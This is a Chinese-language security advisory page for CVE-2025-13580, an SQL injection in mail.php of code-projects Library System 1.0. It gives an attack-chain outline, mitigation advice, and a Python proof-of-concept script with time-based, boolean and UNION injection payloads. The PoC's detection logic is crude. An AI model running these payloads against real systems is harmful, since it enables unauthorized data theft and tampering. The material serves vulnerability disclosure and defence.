IPBUF安全漏洞报告
English
CVE-2025-13580 CVSS 6.3 中危

CVE-2025-13580 code-projects Library System 1.0 SQL注入漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-13580
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Library System 1.0

相关标签

SQL注入CVE-2025-13580code-projectsLibrary SystemWeb应用安全数据库漏洞PHP漏洞中危漏洞

漏洞概述

CVE-2025-13580是code-projects Library System 1.0版本中的一个SQL注入漏洞。该漏洞存在于邮件功能模块的mail.php文件中,具体影响ID参数的传递。由于应用程序在处理用户输入时未对ID参数进行充分的输入验证和SQL语句预编译,攻击者可以通过构造恶意的SQL语句片段来实现数据库注入攻击。此漏洞可被远程利用,攻击者无需高权限即可发起攻击,成功利用后可导致敏感数据泄露、数据库内容篡改或应用服务中断。漏洞已于2025年11月24日公开披露,代码-projects是一个开源项目平台,提供了大量PHP和Web应用程序的学习示例项目。

技术细节

该SQL注入漏洞位于Library System的mail.php文件中,涉及ID参数的SQL查询操作。漏洞的根本原因是程序在构造SQL查询语句时直接拼接用户可控的ID参数,缺少参数化查询或输入过滤机制。攻击者可通过在ID参数中注入SQL语句如'union select'、'sleep()'或'drop table'等来实现不同的攻击目的。由于CVSS评分为6.3且攻击复杂度低,攻击者可通过标准的HTTP请求轻松利用此漏洞。受影响系统使用PHP和MySQL架构,攻击者可通过盲注或联合查询等方式获取数据库中的用户信息、图书数据等敏感内容。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用code-projects Library System 1.0,访问mail.php文件并确认其存在
STEP 2
步骤2: 漏洞探测
通过在ID参数中注入SQL测试语句(如单引号、AND条件、SLEEP函数等)验证SQL注入漏洞存在
STEP 3
步骤3: 注入点识别
确定ID参数存在SQL注入漏洞,分析数据库类型和查询结构
STEP 4
步骤4: 数据提取
使用UNION注入或布尔盲注技术提取数据库中的敏感信息,如用户表、图书数据等
STEP 5
步骤5: 权限提升或数据篡改
根据获取的数据库信息,可能进行进一步的数据窃取或恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13580 SQL Injection PoC Target: code-projects Library System 1.0 File: /mail.php Parameter: ID """ import requests import sys def test_sql_injection(url): """Test for SQL injection vulnerability in mail.php ID parameter""" # Vulnerable endpoint target_url = f"{url}/mail.php" # SQL Injection payload - time-based blind injection # Using sleep() to verify vulnerability payloads = [ "1' AND SLEEP(5)-- -", "1' OR SLEEP(5)-- -", "1' UNION SELECT SLEEP(5)-- -", "1' AND 1=1-- -", "1' AND 1=2-- -" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-13580 SQL Injection Test") print("-" * 60) for payload in payloads: try: params = {"ID": payload} print(f"\n[+] Testing payload: {payload}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Response received - Status: {response.status_code}") print(f"[+] Response time indicates potential vulnerability") except requests.exceptions.Timeout: print(f"[!] Request timeout - SQL injection confirmed!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(url): """Extract data using UNION-based SQL injection""" # Database enumeration payload union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200-- -" target_url = f"{url}/mail.php" params = {"ID": union_payload} print(f"\n[*] Attempting data extraction with UNION payload") try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Response received - check for data leakage") print(f"[+] Response length: {len(response.text)} bytes") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://localhost/Library-System") sys.exit(1) target = sys.argv[1].rstrip('/') if test_sql_injection(target): print("\n[!] Vulnerability confirmed!") extract_data(target) else: print("\n[-] No vulnerability detected or target not vulnerable")

影响范围

code-projects Library System 1.0

防御指南

临时缓解措施
立即停止使用受影响版本的code-projects Library System 1.0,在正式修复前可通过以下措施临时缓解:1) 在Web服务器层面配置URL过滤规则拦截包含SQL关键字的请求;2) 对mail.php文件设置访问限制或暂时下线该功能;3) 使用ModSecurity等WAF工具添加SQL注入防护规则;4) 加强服务器监控日志审计,及时发现异常访问行为。建议尽快联系项目维护者获取官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表